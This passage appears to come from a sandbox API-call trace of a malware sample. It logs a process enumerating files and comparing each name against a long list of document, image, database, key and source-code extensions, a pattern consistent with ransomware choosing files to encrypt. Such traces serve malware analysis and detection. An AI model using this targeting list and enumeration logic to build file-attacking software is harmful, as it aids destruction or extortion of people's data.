(lpString1=".mp3", lpString2=".ELM") returned 1 [0081.562] lstrlenW (lpString=".mp4") returned 4 [0081.562] lstrcmpiW (lpString1=".mp4", lpString2=".ELM") returned 1 [0081.562] lstrlenW (lpString=".mpeg") returned 5 [0081.562] lstrcmpiW (lpString1=".mpeg", lpString2="N.ELM") returned -1 [0081.562] lstrlenW (lpString=".mpg") returned 4 [0081.563] lstrcmpiW (lpString1=".mpg", lpString2=".ELM") returned 1 [0081.563] lstrlenW (lpString=".mpv") returned 4 [0081.563] lstrcmpiW (lpString1=".mpv", lpString2=".ELM") returned 1 [0081.563] lstrlenW (lpString=".mrw") returned 4 [0081.563] lstrcmpiW (lpString1=".mrw", lpString2=".ELM") returned 1 [0081.563] lstrlenW (lpString=".msg") returned 4 [0081.563] lstrcmpiW (lpString1=".msg", lpString2=".ELM") returned 1 [0081.563] lstrlenW (lpString=".mxl") returned 4 [0081.563] lstrcmpiW (lpString1=".mxl", lpString2=".ELM") returned 1 [0081.563] lstrlenW (lpString=".myd") returned 4 [0081.563] lstrcmpiW (lpString1=".myd", lpString2=".ELM") returned 1 [0081.563] lstrlenW (lpString=".myi") returned 4 [0081.563] lstrcmpiW (lpString1=".myi", lpString2=".ELM") returned 1 [0081.563] lstrlenW (lpString=".nef") returned 4 [0081.563] lstrcmpiW (lpString1=".nef", lpString2=".ELM") returned 1 [0081.563] lstrlenW (lpString=".nrw") returned 4 [0081.564] lstrcmpiW (lpString1=".nrw", lpString2=".ELM") returned 1 [0081.564] lstrlenW (lpString=".obj") returned 4 [0081.564] lstrcmpiW (lpString1=".obj", lpString2=".ELM") returned 1 [0081.564] lstrlenW (lpString=".odb") returned 4 [0081.564] lstrcmpiW (lpString1=".odb", lpString2=".ELM") returned 1 [0081.564] lstrlenW (lpString=".odc") returned 4 [0081.564] lstrcmpiW (lpString1=".odc", lpString2=".ELM") returned 1 [0081.564] lstrlenW (lpString=".odm") returned 4 [0081.564] lstrcmpiW (lpString1=".odm", lpString2=".ELM") returned 1 [0081.564] lstrlenW (lpString=".odp") returned 4 [0081.564] lstrcmpiW (lpString1=".odp", lpString2=".ELM") returned 1 [0081.564] lstrlenW (lpString=".ods") returned 4 [0081.564] lstrcmpiW (lpString1=".ods", lpString2=".ELM") returned 1 [0081.564] lstrlenW (lpString=".oft") returned 4 [0081.564] lstrcmpiW (lpString1=".oft", lpString2=".ELM") returned 1 [0081.565] lstrlenW (lpString=".one") returned 4 [0081.565] lstrcmpiW (lpString1=".one", lpString2=".ELM") returned 1 [0081.565] lstrlenW (lpString=".onepkg") returned 7 [0081.565] lstrcmpiW (lpString1=".onepkg", lpString2="OON.ELM") returned -1 [0081.565] lstrlenW (lpString=".onetoc2") returned 8 [0081.565] lstrcmpiW (lpString1=".onetoc2", lpString2="NOON.ELM") returned -1 [0081.565] lstrlenW (lpString=".opt") returned 4 [0081.565] lstrcmpiW (lpString1=".opt", lpString2=".ELM") returned 1 [0081.565] lstrlenW (lpString=".oqy") returned 4 [0081.565] lstrcmpiW (lpString1=".oqy", lpString2=".ELM") returned 1 [0081.565] lstrlenW (lpString=".orf") returned 4 [0081.565] lstrcmpiW (lpString1=".orf", lpString2=".ELM") returned 1 [0081.565] lstrlenW (lpString=".p12") returned 4 [0081.565] lstrcmpiW (lpString1=".p12", lpString2=".ELM") returned 1 [0081.565] lstrlenW (lpString=".p7b") returned 4 [0081.565] lstrcmpiW (lpString1=".p7b", lpString2=".ELM") returned 1 [0081.565] lstrlenW (lpString=".p7c") returned 4 [0081.565] lstrcmpiW (lpString1=".p7c", lpString2=".ELM") returned 1 [0081.565] lstrlenW (lpString=".pam") returned 4 [0081.566] lstrcmpiW (lpString1=".pam", lpString2=".ELM") returned 1 [0081.566] lstrlenW (lpString=".pbm") returned 4 [0081.566] lstrcmpiW (lpString1=".pbm", lpString2=".ELM") returned 1 [0081.566] lstrlenW (lpString=".pct") returned 4 [0081.566] lstrcmpiW (lpString1=".pct", lpString2=".ELM") returned 1 [0081.566] lstrlenW (lpString=".pcx") returned 4 [0081.566] lstrcmpiW (lpString1=".pcx", lpString2=".ELM") returned 1 [0081.566] lstrlenW (lpString=".pdd") returned 4 [0081.566] lstrcmpiW (lpString1=".pdd", lpString2=".ELM") returned 1 [0081.566] lstrlenW (lpString=".pdf") returned 4 [0081.566] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0081.566] lstrlenW (lpString=".pdp") returned 4 [0081.566] lstrcmpiW (lpString1=".pdp", lpString2=".ELM") returned 1 [0081.566] lstrlenW (lpString=".pef") returned 4 [0081.566] lstrcmpiW (lpString1=".pef", lpString2=".ELM") returned 1 [0081.566] lstrlenW (lpString=".pem") returned 4 [0081.566] lstrcmpiW (lpString1=".pem", lpString2=".ELM") returned 1 [0081.566] lstrlenW (lpString=".pff") returned 4 [0081.566] lstrcmpiW (lpString1=".pff", lpString2=".ELM") returned 1 [0081.566] lstrlenW (lpString=".pfm") returned 4 [0081.566] lstrcmpiW (lpString1=".pfm", lpString2=".ELM") returned 1 [0081.567] lstrlenW (lpString=".pfx") returned 4 [0081.567] lstrcmpiW (lpString1=".pfx", lpString2=".ELM") returned 1 [0081.567] lstrlenW (lpString=".pgm") returned 4 [0081.567] lstrcmpiW (lpString1=".pgm", lpString2=".ELM") returned 1 [0081.567] lstrlenW (lpString=".php") returned 4 [0081.567] lstrcmpiW (lpString1=".php", lpString2=".ELM") returned 1 [0081.567] lstrlenW (lpString=".php3") returned 5 [0081.567] lstrcmpiW (lpString1=".php3", lpString2="N.ELM") returned -1 [0081.567] lstrlenW (lpString=".php4") returned 5 [0081.567] lstrcmpiW (lpString1=".php4", lpString2="N.ELM") returned -1 [0081.567] lstrlenW (lpString=".php5") returned 5 [0081.567] lstrcmpiW (lpString1=".php5", lpString2="N.ELM") returned -1 [0081.567] lstrlenW (lpString=".phtml") returned 6 [0081.567] lstrcmpiW (lpString1=".phtml", lpString2="ON.ELM") returned -1 [0081.568] lstrlenW (lpString=".pict") returned 5 [0081.568] lstrcmpiW (lpString1=".pict", lpString2="N.ELM") returned -1 [0081.568] lstrlenW (lpString=".pl") returned 3 [0081.568] lstrcmpiW (lpString1=".pl", lpString2="ELM") returned -1 [0081.568] lstrlenW (lpString=".pls") returned 4 [0081.568] lstrcmpiW (lpString1=".pls", lpString2=".ELM") returned 1 [0081.568] lstrlenW (lpString=".pm") returned 3 [0081.568] lstrcmpiW (lpString1=".pm", lpString2="ELM") returned -1 [0081.568] lstrlenW (lpString=".png") returned 4 [0081.568] lstrcmpiW (lpString1=".png", lpString2=".ELM") returned 1 [0081.568] lstrlenW (lpString=".pnm") returned 4 [0081.568] lstrcmpiW (lpString1=".pnm", lpString2=".ELM") returned 1 [0081.568] lstrlenW (lpString=".pot") returned 4 [0081.568] lstrcmpiW (lpString1=".pot", lpString2=".ELM") returned 1 [0081.568] lstrlenW (lpString=".potm") returned 5 [0081.569] lstrcmpiW (lpString1=".potm", lpString2="N.ELM") returned -1 [0081.569] lstrlenW (lpString=".potx") returned 5 [0081.569] lstrcmpiW (lpString1=".potx", lpString2="N.ELM") returned -1 [0081.569] lstrlenW (lpString=".ppa") returned 4 [0081.569] lstrcmpiW (lpString1=".ppa", lpString2=".ELM") returned 1 [0081.569] lstrlenW (lpString=".ppam") returned 5 [0081.569] lstrcmpiW (lpString1=".ppam", lpString2="N.ELM") returned -1 [0081.569] lstrlenW (lpString=".ppm") returned 4 [0081.569] lstrcmpiW (lpString1=".ppm", lpString2=".ELM") returned 1 [0081.569] lstrlenW (lpString=".pps") returned 4 [0081.569] lstrcmpiW (lpString1=".pps", lpString2=".ELM") returned 1 [0081.569] lstrlenW (lpString=".ppsm") returned 5 [0081.570] lstrcmpiW (lpString1=".ppsm", lpString2="N.ELM") returned -1 [0081.570] lstrlenW (lpString=".ppt") returned 4 [0081.570] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0081.570] lstrlenW (lpString=".pptm") returned 5 [0081.570] lstrcmpiW (lpString1=".pptm", lpString2="N.ELM") returned -1 [0081.570] lstrlenW (lpString=".pptx") returned 5 [0081.570] lstrcmpiW (lpString1=".pptx", lpString2="N.ELM") returned -1 [0081.570] lstrlenW (lpString=".prn") returned 4 [0081.570] lstrcmpiW (lpString1=".prn", lpString2=".ELM") returned 1 [0081.570] lstrlenW (lpString=".ps") returned 3 [0081.570] lstrcmpiW (lpString1=".ps", lpString2="ELM") returned -1 [0081.570] lstrlenW (lpString=".psb") returned 4 [0081.570] lstrcmpiW (lpString1=".psb", lpString2=".ELM") returned 1 [0081.570] lstrlenW (lpString=".psd") returned 4 [0081.571] lstrcmpiW (lpString1=".psd", lpString2=".ELM") returned 1 [0081.571] lstrlenW (lpString=".pst") returned 4 [0081.571] lstrcmpiW (lpString1=".pst", lpString2=".ELM") returned 1 [0081.571] lstrlenW (lpString=".ptx") returned 4 [0081.571] lstrcmpiW (lpString1=".ptx", lpString2=".ELM") returned 1 [0081.571] lstrlenW (lpString=".pub") returned 4 [0081.571] lstrcmpiW (lpString1=".pub", lpString2=".ELM") returned 1 [0081.571] lstrlenW (lpString=".pwm") returned 4 [0081.571] lstrcmpiW (lpString1=".pwm", lpString2=".ELM") returned 1 [0081.571] lstrlenW (lpString=".pxr") returned 4 [0081.571] lstrcmpiW (lpString1=".pxr", lpString2=".ELM") returned 1 [0081.572] lstrlenW (lpString=".py") returned 3 [0081.572] lstrcmpiW (lpString1=".py", lpString2="ELM") returned -1 [0081.572] lstrlenW (lpString=".qt") returned 3 [0081.572] lstrcmpiW (lpString1=".qt", lpString2="ELM") returned -1 [0081.572] lstrlenW (lpString=".r3d") returned 4 [0081.572] lstrcmpiW (lpString1=".r3d", lpString2=".ELM") returned 1 [0082.372] lstrcmpiW (lpString1=".pptm", lpString2="U.dll") returned -1 [0082.372] lstrcmpiW (lpString1=".pptx", lpString2="U.dll") returned -1 [0082.373] FindNextFileW (in: hFindFile=0x3974330, lpFindFileData=0x354ee18 | out: lpFindFileData=0x354ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0082.373] FindNextFileW (in: hFindFile=0x3974330, lpFindFileData=0x354ee18 | out: lpFindFileData=0x354ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0082.374] FindClose (in: hFindFile=0x3974330 | out: hFindFile=0x3974330) returned 1 [0082.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f9a0a0 | out: hHeap=0x5b0000) returned 1 [0082.376] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0082.376] lstrlenW (lpString="MSTTSCommon.dll") returned 15 [0082.376] lstrlenW (lpString=".1cd") returned 4 [0082.376] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.376] lstrlenW (lpString=".3ds") returned 4 [0082.376] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0082.376] lstrlenW (lpString=".3fr") returned 4 [0082.376] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0082.376] lstrlenW (lpString=".3g2") returned 4 [0082.376] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0082.376] lstrlenW (lpString=".3gp") returned 4 [0082.376] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0082.376] lstrlenW (lpString=".7z") returned 3 [0082.376] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.376] lstrlenW (lpString=".accda") returned 6 [0082.376] lstrcmpiW (lpString1=".accda", lpString2="on.dll") returned -1 [0082.376] lstrlenW (lpString=".accdb") returned 6 [0082.376] lstrcmpiW (lpString1=".accdb", lpString2="on.dll") returned -1 [0082.376] lstrlenW (lpString=".accdc") returned 6 [0082.377] lstrcmpiW (lpString1=".accdc", lpString2="on.dll") returned -1 [0082.377] lstrlenW (lpString=".accde") returned 6 [0082.377] lstrcmpiW (lpString1=".accde", lpString2="on.dll") returned -1 [0082.377] lstrlenW (lpString=".accdt") returned 6 [0082.377] lstrcmpiW (lpString1=".accdt", lpString2="on.dll") returned -1 [0082.377] lstrlenW (lpString=".accdw") returned 6 [0082.377] lstrcmpiW (lpString1=".accdw", lpString2="on.dll") returned -1 [0082.377] lstrlenW (lpString=".adb") returned 4 [0082.377] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0082.377] lstrlenW (lpString=".adp") returned 4 [0082.377] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0082.377] lstrlenW (lpString=".ai") returned 3 [0082.377] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0082.377] lstrlenW (lpString=".ai3") returned 4 [0082.377] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0082.377] lstrlenW (lpString=".ai4") returned 4 [0082.377] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0082.377] lstrlenW (lpString=".ai5") returned 4 [0082.377] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0082.377] lstrlenW (lpString=".ai6") returned 4 [0082.377] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0082.377] lstrlenW (lpString=".ai7") returned 4 [0082.377] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0082.378] lstrlenW (lpString=".ai8") returned 4 [0082.378] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0082.378] lstrlenW (lpString=".anim") returned 5 [0082.378] lstrcmpiW (lpString1=".anim", lpString2="n.dll") returned -1 [0082.378] lstrlenW (lpString=".arw") returned 4 [0082.378] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0082.378] lstrlenW (lpString=".as") returned 3 [0082.378] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0082.378] lstrlenW (lpString=".asa") returned 4 [0082.378] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0082.378] lstrlenW (lpString=".asc") returned 4 [0082.378] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0082.378] lstrlenW (lpString=".ascx") returned 5 [0082.378] lstrcmpiW (lpString1=".ascx", lpString2="n.dll") returned -1 [0082.378] lstrlenW (lpString=".asm") returned 4 [0082.378] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0082.378] lstrlenW (lpString=".asmx") returned 5 [0082.378] lstrcmpiW (lpString1=".asmx", lpString2="n.dll") returned -1 [0082.378] lstrlenW (lpString=".asp") returned 4 [0082.378] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0082.378] lstrlenW (lpString=".aspx") returned 5 [0082.378] lstrcmpiW (lpString1=".aspx", lpString2="n.dll") returned -1 [0082.379] lstrlenW (lpString=".asr") returned 4 [0082.379] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0082.379] lstrlenW (lpString=".asx") returned 4 [0082.379] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0082.379] lstrlenW (lpString=".avi") returned 4 [0082.379] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0082.379] lstrlenW (lpString=".avs") returned 4 [0082.379] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0082.379] lstrlenW (lpString=".backup") returned 7 [0082.379] lstrcmpiW (lpString1=".backup", lpString2="mon.dll") returned -1 [0082.379] lstrlenW (lpString=".bak") returned 4 [0082.379] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0082.379] lstrlenW (lpString=".bay") returned 4 [0082.379] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0082.379] lstrlenW (lpString=".bd") returned 3 [0082.379] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0082.379] lstrlenW (lpString=".bin") returned 4 [0082.379] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0082.379] lstrlenW (lpString=".bmp") returned 4 [0082.379] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0082.379] lstrlenW (lpString=".bz2") returned 4 [0082.379] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.379] lstrlenW (lpString=".c") returned 2 [0082.379] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0082.379] lstrlenW (lpString=".cdr") returned 4 [0082.379] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0082.380] lstrlenW (lpString=".cer") returned 4 [0082.380] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0082.380] lstrlenW (lpString=".cf") returned 3 [0082.380] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0082.380] lstrlenW (lpString=".cfc") returned 4 [0082.380] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0082.380] lstrlenW (lpString=".cfm") returned 4 [0082.380] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0082.380] lstrlenW (lpString=".cfml") returned 5 [0082.380] lstrcmpiW (lpString1=".cfml", lpString2="n.dll") returned -1 [0082.380] lstrlenW (lpString=".cfu") returned 4 [0082.380] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0082.380] lstrlenW (lpString=".chm") returned 4 [0082.380] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0082.380] lstrlenW (lpString=".cin") returned 4 [0082.380] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0082.380] lstrlenW (lpString=".class") returned 6 [0082.380] lstrcmpiW (lpString1=".class", lpString2="on.dll") returned -1 [0082.380] lstrlenW (lpString=".clx") returned 4 [0082.380] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0082.380] lstrlenW (lpString=".config") returned 7 [0082.380] lstrcmpiW (lpString1=".config", lpString2="mon.dll") returned -1 [0082.380] lstrlenW (lpString=".cpp") returned 4 [0082.380] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0082.380] lstrlenW (lpString=".cr2") returned 4 [0082.380] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0082.380] lstrlenW (lpString=".crt") returned 4 [0082.380] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0082.381] lstrlenW (lpString=".crw") returned 4 [0082.381] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0082.381] lstrlenW (lpString=".cs") returned 3 [0082.381] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0082.381] lstrlenW (lpString=".css") returned 4 [0082.381] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0082.381] lstrlenW (lpString=".csv") returned 4 [0082.381] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0082.381] lstrlenW (lpString=".cub") returned 4 [0082.381] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0082.381] lstrlenW (lpString=".dae") returned 4 [0082.381] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0082.381] lstrlenW (lpString=".dat") returned 4 [0082.381] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0082.381] lstrlenW (lpString=".db") returned 3 [0082.381] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0082.381] lstrlenW (lpString=".dbf") returned 4 [0082.381] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.381] lstrlenW (lpString=".dbx") returned 4 [0082.381] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0082.381] lstrlenW (lpString=".dc3") returned 4 [0082.381] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0082.381] lstrlenW (lpString=".dcm") returned 4 [0082.382] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0082.382] lstrlenW (lpString=".dcr") returned 4 [0082.382] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0082.382] lstrlenW (lpString=".der") returned 4 [0082.382] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0082.382] lstrlenW (lpString=".dib") returned 4 [0082.382] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0082.382] lstrlenW (lpString=".dic") returned 4 [0082.382] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0082.382] lstrlenW (lpString=".dif") returned 4 [0082.382] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0082.383] lstrlenW (lpString=".divx") returned 5 [0082.383] lstrcmpiW (lpString1=".divx", lpString2="n.dll") returned -1 [0082.383] lstrlenW (lpString=".djvu") returned 5 [0082.383] lstrcmpiW (lpString1=".djvu", lpString2="n.dll") returned -1 [0082.383] lstrlenW (lpString=".dng") returned 4 [0082.383] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0082.383] lstrlenW (lpString=".doc") returned 4 [0082.383] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.383] lstrlenW (lpString=".docm") returned 5 [0082.383] lstrcmpiW (lpString1=".docm", lpString2="n.dll") returned -1 [0082.383] lstrlenW (lpString=".docx") returned 5 [0082.383] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0082.383] lstrlenW (lpString=".dot") returned 4 [0082.383] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0082.383] lstrlenW (lpString=".dotm") returned 5 [0082.383] lstrcmpiW (lpString1=".dotm", lpString2="n.dll") returned -1 [0082.383] lstrlenW (lpString=".dotx") returned 5 [0082.383] lstrcmpiW (lpString1=".dotx", lpString2="n.dll") returned -1 [0082.383] lstrlenW (lpString=".dpx") returned 4 [0082.383] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0082.383] lstrlenW (lpString=".dqy") returned 4 [0082.383] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0082.383] lstrlenW (lpString=".dsn") returned 4 [0082.383] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0082.383] lstrlenW (lpString=".dt") returned 3 [0082.383] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0082.383] lstrlenW (lpString=".dtd") returned 4 [0082.383] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0082.384] lstrlenW (lpString=".dwg") returned 4 [0082.384] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0082.384] lstrlenW (lpString=".dwt") returned 4 [0082.384] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0082.384] lstrlenW (lpString=".dx") returned 3 [0082.384] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0082.384] lstrlenW (lpString=".dxf") returned 4 [0082.384] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0082.384] lstrlenW (lpString=".edml") returned 5 [0082.384] lstrcmpiW (lpString1=".edml", lpString2="n.dll") returned -1 [0082.384] lstrlenW (lpString=".efd") returned 4 [0082.384] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0082.384] lstrlenW (lpString=".elf") returned 4 [0082.384] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0082.384] lstrlenW (lpString=".emf") returned 4 [0082.384] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0082.384] lstrlenW (lpString=".emz") returned 4 [0082.384] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0082.384] lstrlenW (lpString=".epf") returned 4 [0082.384] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0082.384] lstrlenW (lpString=".eps") returned 4 [0082.384] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0082.384] lstrlenW (lpString=".epsf") returned 5 [0082.384] lstrcmpiW (lpString1=".epsf", lpString2="n.dll") returned -1 [0082.384] lstrlenW (lpString=".epsp") returned 5 [0082.385] lstrcmpiW (lpString1=".epsp", lpString2="n.dll") returned -1 [0082.385] lstrlenW (lpString=".erf") returned 4 [0082.385] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0082.385] lstrlenW (lpString=".exr") returned 4 [0082.385] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0082.385] lstrlenW (lpString=".f4v") returned 4 [0082.385] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0082.385] lstrlenW (lpString=".fido") returned 5 [0082.385] lstrcmpiW (lpString1=".fido", lpString2="n.dll") returned -1 [0082.385] lstrlenW (lpString=".flm") returned 4 [0082.385] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0082.385] lstrlenW (lpString=".flv") returned 4 [0082.385] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0082.385] lstrlenW (lpString=".frm") returned 4 [0082.385] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0082.385] lstrlenW (lpString=".fxg") returned 4 [0082.385] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0082.385] lstrlenW (lpString=".geo") returned 4 [0082.385] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0082.385] lstrlenW (lpString=".gif") returned 4 [0082.385] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0082.385] lstrlenW (lpString=".grs") returned 4 [0082.385] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0082.385] lstrlenW (lpString=".gz") returned 3 [0082.385] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0082.385] lstrlenW (lpString=".h") returned 2 [0082.385] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0082.385] lstrlenW (lpString=".hdr") returned 4 [0082.386] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0082.386] lstrlenW (lpString=".hpp") returned 4 [0082.386] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0082.386] lstrlenW (lpString=".hta") returned 4 [0082.386] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0082.386] lstrlenW (lpString=".htc") returned 4 [0082.386] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0082.386] lstrlenW (lpString=".htm") returned 4 [0082.386] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0082.386] lstrlenW (lpString=".html") returned 5 [0082.386] lstrcmpiW (lpString1=".html", lpString2="n.dll") returned -1 [0082.386] lstrlenW (lpString=".icb") returned 4 [0082.386] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0082.386] lstrlenW (lpString=".ics") returned 4 [0082.386] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0082.386] lstrlenW (lpString=".iff") returned 4 [0082.386] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0082.386] lstrlenW (lpString=".inc") returned 4 [0082.386] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0082.386] lstrlenW (lpString=".indd") returned 5 [0082.386] lstrcmpiW (lpString1=".indd", lpString2="n.dll") returned -1 [0082.386] lstrlenW (lpString=".ini") returned 4 [0082.386] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0082.386] lstrlenW (lpString=".iqy") returned 4 [0082.387] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0082.387] lstrlenW (lpString=".j2c") returned 4 [0082.387] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0082.387] lstrlenW (lpString=".j2k") returned 4 [0082.387] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0082.387] lstrlenW (lpString=".java") returned 5 [0082.387] lstrcmpiW (lpString1=".java", lpString2="n.dll") returned -1 [0082.387] lstrlenW (lpString=".jp2") returned 4 [0082.387] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0082.387] lstrlenW (lpString=".jpc") returned 4 [0082.387] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0082.387] lstrlenW (lpString=".jpe") returned 4 [0082.387] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0082.387] lstrlenW (lpString=".jpeg") returned 5 [0082.387] lstrcmpiW (lpString1=".jpeg", lpString2="n.dll") returned -1 [0082.387] lstrlenW (lpString=".jpf") returned 4 [0082.387] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0082.387] lstrlenW (lpString=".jpg") returned 4 [0082.387] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 